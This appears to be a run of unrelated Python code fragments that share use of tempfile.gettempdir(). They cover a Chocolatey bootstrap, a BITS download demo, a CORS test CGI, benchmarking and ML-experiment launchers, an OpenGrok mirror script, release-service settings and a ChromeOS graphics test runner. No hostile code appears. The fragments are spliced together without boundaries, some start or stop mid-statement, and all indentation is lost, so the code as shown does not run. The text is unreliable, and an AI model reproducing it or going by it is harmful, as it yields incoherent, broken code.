# Run the Chocolatey bootstrap
log.debug("Installing Chocolatey: {0}".format(script))
result = __salt__["cmd.script"](
script, cwd=os.path.dirname(script), shell="powershell", python_shell=True
)
if result["retcode"] != 0:
err = "Bootstrapping Chocolatey failed: {0}".format(result["stderr"])
raise CommandExecutionError(err)
return result["stdout"]
job.SetNotifyFlags(bits.BG_NOTIFY_JOB_TRANSFERRED | bits.BG_NOTIFY_JOB_ERROR
| bits.BG_NOTIFY_JOB_MODIFICATION)
# The idea here is to intentionally make one of the files fail to be
# downloaded. Then the JobError notification will be triggered, where
# we do fix the failing file by calling SetRemoteName to a valid URL
# and call Resume() on the job, making the job finish successfully.
#
# Note to self: A domain that cannot be resolved will cause
# TRANSIENT_ERROR instead of ERROR, and the JobError notification will
# not be triggered! This can bite you during testing depending on how
# your DNS is configured. For example, if you use OpenDNS.org's DNS
# servers, an invalid hostname will *always* be resolved (they
# redirect you to a search page), so be careful when testing.
job.AddFile('http://www.python.org/favicon.ico',
os.path.join(tempfile.gettempdir(), 'bits-favicon.ico'))
job.AddFile('http://www.python.org/missing-favicon.ico',
os.path.join(tempfile.gettempdir(), 'bits-missing-favicon.ico'))
for f in job.EnumFiles():
print 'Downloading', f.GetRemoteName()
print 'To', f.GetLocalName()
job.Resume()
while True:
rc = win32event.MsgWaitForMultipleObjects((StopEvent, ), 0, TIMEOUT,
win32event.QS_ALLEVENTS)
if rc == win32event.WAIT_OBJECT_0:
break
import tempfile
file = __file__.split(':/cygwin')[-1]
http_root = os.path.dirname(os.path.dirname(os.path.abspath(os.path.dirname(file))))
sys.path.insert(0, http_root)
from resources.portabilityLayer import set_state, get_state
from urllib.parse import parse_qs
sys.stdout.write(
'Content-Type: text/html\r\n'
'Access-Control-Allow-Origin: *\r\n'
'Access-Control-Allow-Headers: X-Custom-Header\r\n'
'Access-Control-Max-Age: 0\r\n'
'\r\n'
)
query = parse_qs(os.environ.get('QUERY_STRING', ''), keep_blank_values=True)
stateFile = os.path.join(tempfile.gettempdir(), query.get('filename', ['state.txt'])[0])
if os.environ.get('REQUEST_METHOD') == 'OPTIONS':
if os.environ.get('HTTP_X_CUSTOM_HEADER'):
set_state(stateFile, 'FAIL')
else:
set_state(stateFile, 'PASS')
else:
if os.environ.get('HTTP_X_CUSTOM_HEADER'):
sys.stdout.write(get_state(stateFile, default='FAIL'))
else:
sys.stdout.write('FAIL - no header in actual request')
import jinja2 from perfkitbenchmarker import context from perfkitbenchmarker import data from perfkitbenchmarker import errors from perfkitbenchmarker import flags from perfkitbenchmarker import log_util from perfkitbenchmarker import regex_util FLAGS = flags.FLAGS PRIVATE_KEYFILE = 'perfkitbenchmarker_keyfile' PUBLIC_KEYFILE = 'perfkitbenchmarker_keyfile.pub' CERT_FILE = 'perfkitbenchmarker.pem' TEMP_DIR = os.path.join(tempfile.gettempdir(), 'perfkitbenchmarker') # The temporary directory on VMs. We cannot reuse GetTempDir() # because run_uri will not be available at time of module load and we need # to use this directory as a base for other module level constants. VM_TMP_DIR = '/tmp/pkb' # Default timeout for issuing a command. DEFAULT_TIMEOUT = 300 # Defaults for retrying commands. POLL_INTERVAL = 30 TIMEOUT = 1200 FUZZ = .5 MAX_RETRIES = -1
def run():
_path = os.getcwd()
os.chdir(tempfile.gettempdir())
print("------")
print("os.name=%r" % (os.name))
print("------")
print("sys.platform=%r" % (sys.platform))
print("------")
print("sys.version:")
print(sys.version)
print("------")
print("sys.prefix:")
print(sys.prefix)
print("------")
print("sys.path=%r" % (":".join(sys.path)))
print("------")
try:
import numpy
has_newnumpy = 1
except ImportError:
print("Failed to import new numpy:", sys.exc_info()[1])
has_newnumpy = 0
try:
from numpy.f2py import f2py2e
has_f2py2e = 1
except ImportError:
print("Failed to import f2py2e:", sys.exc_info()[1])
has_f2py2e = 0
try:
import numpy.distutils
has_numpy_distutils = 2
except ImportError:
try:
import numpy_distutils
has_numpy_distutils = 1
except ImportError:
print("Failed to import numpy_distutils:", sys.exc_info()[1])
has_numpy_distutils = 0
if has_newnumpy:
try:
print(
"Found new numpy version %r in %s" % (numpy.__version__, numpy.__file__)
)
except Exception as msg:
print("error:", msg)
print("------")
if has_f2py2e:
try:
print(
"Found f2py2e version %r in %s"
% (f2py2e.__version__.version, f2py2e.__file__)
)
except Exception as msg:
print("error:", msg)
print("------")
if has_numpy_distutils:
try:
if has_numpy_distutils == 2:
print(
"Found numpy.distutils version %r in %r"
% (numpy.distutils.__version__, numpy.distutils.__file__)
)
else:
print(
"Found numpy_distutils version %r in %r"
% (
numpy_distutils.numpy_distutils_version.numpy_distutils_version,
numpy_distutils.__file__,
)
)
print("------")
except Exception as msg:
print("error:", msg)
print("------")
try:
if has_numpy_distutils == 1:
print("Importing numpy_distutils.command.build_flib ...", end=" ")
import numpy_distutils.command.build_flib as build_flib
print("ok")
print("------")
try:
print("Checking availability of supported Fortran compilers:")
for compiler_class in build_flib.all_compilers:
compiler_class(verbose=1).is_available()
print("------")
except Exception as msg:
print("error:", msg)
print("------")
except Exception as msg:
print(
"error:",
msg,
"(ignore it, build_flib is obsolute for numpy.distutils 0.2.2 and up)",
)
print("------")
try:
if has_numpy_distutils == 2:
print("Importing numpy.distutils.fcompiler ...", end=" ")
import numpy.distutils.fcompiler as fcompiler
else:
print("Importing numpy_distutils.fcompiler ...", end=" ")
import numpy_distutils.fcompiler as fcompiler
print("ok")
print("------")
try:
print("Checking availability of supported Fortran compilers:")
fcompiler.show_fcompilers()
print("------")
except Exception as msg:
print("error:", msg)
print("------")
except Exception as msg:
print("error:", msg)
print("------")
try:
if has_numpy_distutils == 2:
print("Importing numpy.distutils.cpuinfo ...", end=" ")
from numpy.distutils.cpuinfo import cpuinfo
print("ok")
print("------")
else:
try:
print("Importing numpy_distutils.command.cpuinfo ...", end=" ")
from numpy_distutils.command.cpuinfo import cpuinfo
print("ok")
print("------")
except Exception as msg:
print("error:", msg, "(ignore it)")
print("Importing numpy_distutils.cpuinfo ...", end=" ")
from numpy_distutils.cpuinfo import cpuinfo
print("ok")
print("------")
cpu = cpuinfo()
print("CPU information:", end=" ")
for name in dir(cpuinfo):
if name[0] == "_" and name[1] != "_" and getattr(cpu, name[1:])():
print(name[1:], end=" ")
print("------")
except Exception as msg:
print("error:", msg)
print("------")
os.chdir(_path)
def launch_experiment(args, experiment_config, mode, config_file_name, experiment_id=None):
'''follow steps to start rest server and start experiment'''
nni_config = Config(config_file_name)
# check packages for tuner
package_name, module_name = None, None
if experiment_config.get('tuner') and experiment_config['tuner'].get('builtinTunerName'):
package_name = experiment_config['tuner']['builtinTunerName']
module_name = ModuleName.get(package_name)
elif experiment_config.get('advisor') and experiment_config['advisor'].get('builtinAdvisorName'):
package_name = experiment_config['advisor']['builtinAdvisorName']
module_name = AdvisorModuleName.get(package_name)
if package_name and module_name:
try:
stdout_full_path, stderr_full_path = get_log_path(config_file_name)
with open(stdout_full_path, 'a+') as stdout_file, open(stderr_full_path, 'a+') as stderr_file:
check_call([sys.executable, '-c', 'import %s'%(module_name)], stdout=stdout_file, stderr=stderr_file)
except CalledProcessError:
print_error('some errors happen when import package %s.' %(package_name))
print_log_content(config_file_name)
if package_name in PACKAGE_REQUIREMENTS:
print_error('If %s is not installed, it should be installed through '\
'\'nnictl package install --name %s\''%(package_name, package_name))
exit(1)
log_dir = experiment_config['logDir'] if experiment_config.get('logDir') else None
log_level = experiment_config['logLevel'] if experiment_config.get('logLevel') else None
#view experiment mode do not need debug function, when view an experiment, there will be no new logs created
if mode != 'view':
if log_level not in ['trace', 'debug'] and (args.debug or experiment_config.get('debug') is True):
log_level = 'debug'
# start rest server
rest_process, start_time = start_rest_server(args.port, experiment_config['trainingServicePlatform'], \
mode, config_file_name, experiment_id, log_dir, log_level)
nni_config.set_config('restServerPid', rest_process.pid)
# Deal with annotation
if experiment_config.get('useAnnotation'):
path = os.path.join(tempfile.gettempdir(), get_user(), 'nni', 'annotation')
if not os.path.isdir(path):
os.makedirs(path)
path = tempfile.mkdtemp(dir=path)
nas_mode = experiment_config['trial'].get('nasMode', 'classic_mode')
code_dir = expand_annotations(experiment_config['trial']['codeDir'], path, nas_mode=nas_mode)
experiment_config['trial']['codeDir'] = code_dir
search_space = generate_search_space(code_dir)
experiment_config['searchSpace'] = json.dumps(search_space)
assert search_space, ERROR_INFO % 'Generated search space is empty'
elif experiment_config.get('searchSpacePath'):
search_space = get_json_content(experiment_config.get('searchSpacePath'))
experiment_config['searchSpace'] = json.dumps(search_space)
else:
experiment_config['searchSpace'] = json.dumps('')
# check rest server
running, _ = check_rest_server(args.port)
if running:
print_normal('Successfully started Restful server!')
else:
print_error('Restful server start failed!')
print_log_content(config_file_name)
try:
kill_command(rest_process.pid)
except Exception:
raise Exception(ERROR_INFO % 'Rest server stopped!')
exit(1)
if mode != 'view':
# set platform configuration
set_platform_config(experiment_config['trainingServicePlatform'], experiment_config, args.port,\
config_file_name, rest_process)
# start a new experiment
print_normal('Starting experiment...')
# set debug configuration
if mode != 'view' and experiment_config.get('debug') is None:
experiment_config['debug'] = args.debug
response = set_experiment(experiment_config, mode, args.port, config_file_name)
if response:
if experiment_id is None:
experiment_id = json.loads(response.text).get('experiment_id')
nni_config.set_config('experimentId', experiment_id)
else:
print_error('Start experiment failed!')
print_log_content(config_file_name)
try:
kill_command(rest_process.pid)
except Exception:
raise Exception(ERROR_INFO % 'Restful server stopped!')
exit(1)
if experiment_config.get('nniManagerIp'):
web_ui_url_list = ['{0}:{1}'.format(experiment_config['nniManagerIp'], str(args.port))]
else:
web_ui_url_list = get_local_urls(args.port)
nni_config.set_config('webuiUrl', web_ui_url_list)
# save experiment information
nnictl_experiment_config = Experiments()
nnictl_experiment_config.add_experiment(experiment_id, args.port, start_time, config_file_name,
experiment_config['trainingServicePlatform'],
experiment_config['experimentName'])
print_normal(EXPERIMENT_SUCCESS_INFO % (experiment_id, ' '.join(web_ui_url_list)))
def main():
ret = 0
parser = argparse.ArgumentParser(description='project mirroring',
parents=[get_baseparser(
tool_version=__version__)
])
parser.add_argument('project', nargs='*', default=None)
parser.add_argument('-a', '--all', action='store_true',
help='mirror all indexed projects', default=False)
parser.add_argument('-c', '--config',
help='config file in JSON/YAML format')
parser.add_argument('-U', '--uri', default='http://localhost:8080/source',
help='uri of the webapp with context path')
parser.add_argument('-b', '--batch', action='store_true',
help='batch mode - will log into a file')
parser.add_argument('-B', '--backupcount', default=8,
help='how many log files to keep around in batch mode')
parser.add_argument('-I', '--incoming', action='store_true',
help='Check for incoming changes, terminate the '
'processing if not found.')
parser.add_argument('-w', '--workers', default=cpu_count(),
help='Number of worker processes')
try:
args = parser.parse_args()
except ValueError as e:
fatal(e)
logger = get_console_logger(get_class_basename(), args.loglevel)
if len(args.project) > 0 and args.all:
fatal("Cannot use both project list and -a/--all")
if not args.all and len(args.project) == 0:
fatal("Need at least one project or --all")
if args.config:
config = read_config(logger, args.config)
if config is None:
fatal("Cannot read config file from {}".format(args.config))
else:
config = {}
uri = args.uri
if not is_web_uri(uri):
fatal("Not a URI: {}".format(uri))
logger.debug("web application URI = {}".format(uri))
if not check_configuration(config):
sys.exit(1)
# Save the source root to avoid querying the web application.
source_root = get_config_value(logger, 'sourceRoot', uri)
if not source_root:
sys.exit(1)
logger.debug("Source root = {}".format(source_root))
hookdir = config.get(HOOKDIR_PROPERTY)
if hookdir:
logger.debug("Hook directory = {}".format(hookdir))
command_timeout = get_int(logger, "command timeout",
config.get(CMD_TIMEOUT_PROPERTY))
if command_timeout:
logger.debug("Global command timeout = {}".format(command_timeout))
hook_timeout = get_int(logger, "hook timeout",
config.get(HOOK_TIMEOUT_PROPERTY))
if hook_timeout:
logger.debug("Global hook timeout = {}".format(hook_timeout))
# Log messages to dedicated log file if running in batch mode.
if args.batch:
logdir = config.get(LOGDIR_PROPERTY)
if not logdir:
fatal("The {} property is required in batch mode".
format(LOGDIR_PROPERTY))
projects = args.project
if len(projects) == 1:
lockfile = projects[0] + "-mirror"
else:
lockfile = os.path.basename(sys.argv[0])
if args.all:
projects = list_indexed_projects(logger, args.uri)
lock = FileLock(os.path.join(tempfile.gettempdir(), lockfile + ".lock"))
try:
with lock.acquire(timeout=0):
with Pool(processes=int(args.workers)) as pool:
worker_args = []
for x in projects:
worker_args.append([x, logdir, args.loglevel,
args.backupcount, config,
args.incoming,
args.uri, source_root,
args.batch])
print(worker_args)
try:
project_results = pool.map(worker, worker_args, 1)
except KeyboardInterrupt:
sys.exit(1)
else:
if any([True for x in project_results if x == 1]):
ret = 1
except Timeout:
logger.warning("Already running, exiting.")
sys.exit(1)
logging.shutdown()
sys.exit(ret)
import pathlib
import tempfile
from decouple import config
PROJECT_NAME = "shipit/api"
APP_NAME = "shipit_api"
SCOPE_PREFIX = f"project:releng:services/{APP_NAME}"
# A route key that triggers rebuild of product details.
# Worker will listen to this route key to trigger the rebuild.
PULSE_ROUTE_REBUILD_PRODUCT_DETAILS = "rebuild_product_details"
# A folder where we will keep a checkout of product details
PRODUCT_DETAILS_DIR = pathlib.Path(tempfile.gettempdir(), "product-details")
PRODUCT_DETAILS_NEW_DIR = pathlib.Path(tempfile.gettempdir(),
"product-details-new")
PRODUCT_DETAILS_CACHE_DIR = pathlib.Path(tempfile.gettempdir(),
"product-details-cache")
# Use CURRENT_ESR-1. Releases with major version equal or less than the
# breakpoint version will be served using static files. No related
# product-details data will be generated if we decide to ship a dot release
# with major version <= BREAKPOINT_VERSION. This includes Firefox (release,
# esr, beta, devedition, pinebuild), Fennec and Thunderbird.
BREAKPOINT_VERSION = 90
# When there is only one ESR release ESR_NEXT is set to '' and ESR_CURRENT is
# set to current ESR major version. When we have 2 ESR releases, ESR_CURRENT
# should be using the major version of the older release, while ESR_NEXT should
def run_once(self, opts=None):
options = dict(
filter='',
test_names='', # e.g., dEQP-GLES3.info.version,
# dEQP-GLES2.functional,
# dEQP-GLES3.accuracy.texture, etc.
test_names_file='',
timeout=self._timeout,
subset_to_run='Pass', # Pass, Fail, Timeout, NotPass...
hasty='False',
shard_number='0',
shard_count='1',
debug='False',
perf_failure_description=None)
if opts is None:
opts = []
options.update(utils.args_to_dict(opts))
logging.info('Test Options: %s', options)
self._hasty = (options['hasty'] == 'True')
self._timeout = int(options['timeout'])
self._test_names_file = options['test_names_file']
self._test_names = options['test_names']
self._shard_number = int(options['shard_number'])
self._shard_count = int(options['shard_count'])
self._debug = (options['debug'] == 'True')
if not (self._test_names_file or self._test_names):
self._filter = options['filter']
if not self._filter:
raise error.TestFail('Failed: No dEQP test filter specified')
if options['perf_failure_description']:
self._test_failure_description = options[
'perf_failure_description']
else:
# Do not report failure if failure description is not specified.
self._test_failure_report_enable = False
# Some information to help post-process logs into blacklists later.
logging.info('ChromeOS BOARD = %s', self._board)
logging.info('ChromeOS CPU family = %s', self._cpu_type)
logging.info('ChromeOS GPU family = %s', self._gpu_type)
# Create a place to put detailed test output logs.
filter_name = self._filter or os.path.basename(self._test_names_file)
logging.info('dEQP test filter = %s', filter_name)
self._log_path = os.path.join(tempfile.gettempdir(),
'%s-logs' % filter_name)
shutil.rmtree(self._log_path, ignore_errors=True)
os.mkdir(self._log_path)
# Load either tests specified by test_names_file, test_names or filter.
test_cases = []
if self._test_names_file:
test_cases = self._get_test_cases_from_names_file()
elif self._test_names:
test_cases = []
for name in self._test_names.split(','):
test_cases.extend(self._get_test_cases(name, 'Pass'))
elif self._filter:
test_cases = self._get_test_cases(self._filter,
options['subset_to_run'])
if self._debug:
# LogReader works on /var/log/messages by default.
self._log_reader = cros_logging.LogReader()
self._log_reader.set_start_by_current()
# Assume all tests failed at the beginning.
for test_case in test_cases:
self.add_failures(test_case)
test_results, failing_test = self._run_once(test_cases)
# Rerun the test if we are in hasty mode.
if self._hasty and len(failing_test) > 0:
if len(failing_test) < sum(test_results.values()) * RERUN_RATIO:
logging.info('Because we are in hasty mode, we will rerun the '
'failing tests one at a time')
rerun_results, failing_test = self._run_once(failing_test)
# Update failing test result from the test_results
for result in test_results:
if result.lower() not in self.TEST_RESULT_FILTER:
test_results[result] = 0
for result in rerun_results:
test_results[result] = (test_results.get(result, 0) +
rerun_results[result])
else:
logging.info('There are too many failing tests. It would '
'take too long to rerun them. Giving up.')
# Update failing tests to the chrome perf dashboard records.
for test_case in test_cases:
if test_case not in failing_test:
self.remove_failures(test_case)
logging.info('Test results:')
logging.info(test_results)
logging.debug('Test Failed: %s', failing_test)
self.write_perf_keyval(test_results)
test_count = 0
test_failures = 0
test_passes = 0
test_skipped = 0
for result in test_results:
test_count += test_results[result]
if result.lower() in ['pass']:
test_passes += test_results[result]
if result.lower() not in self.TEST_RESULT_FILTER:
test_failures += test_results[result]
if result.lower() in ['skipped']:
test_skipped += test_results[result]
# The text "Completed all tests." is used by the process_log.py script
# and should always appear at the end of a completed test run.
logging.info(
'Completed all tests. Saw %d tests, %d passes and %d failures.',
test_count, test_passes, test_failures)
if self._filter and test_count == 0 and options[
'subset_to_run'] != 'NotPass':
logging.warning('No test cases found for filter: %s!',
self._filter)
if test_failures:
raise error.TestFail('Failed: on %s %d/%d tests failed.' %
(self._gpu_type, test_failures, test_count))
if test_skipped > 0:
logging.info('On %s %d tests skipped, %d passes', self._gpu_type,
test_skipped, test_passes)
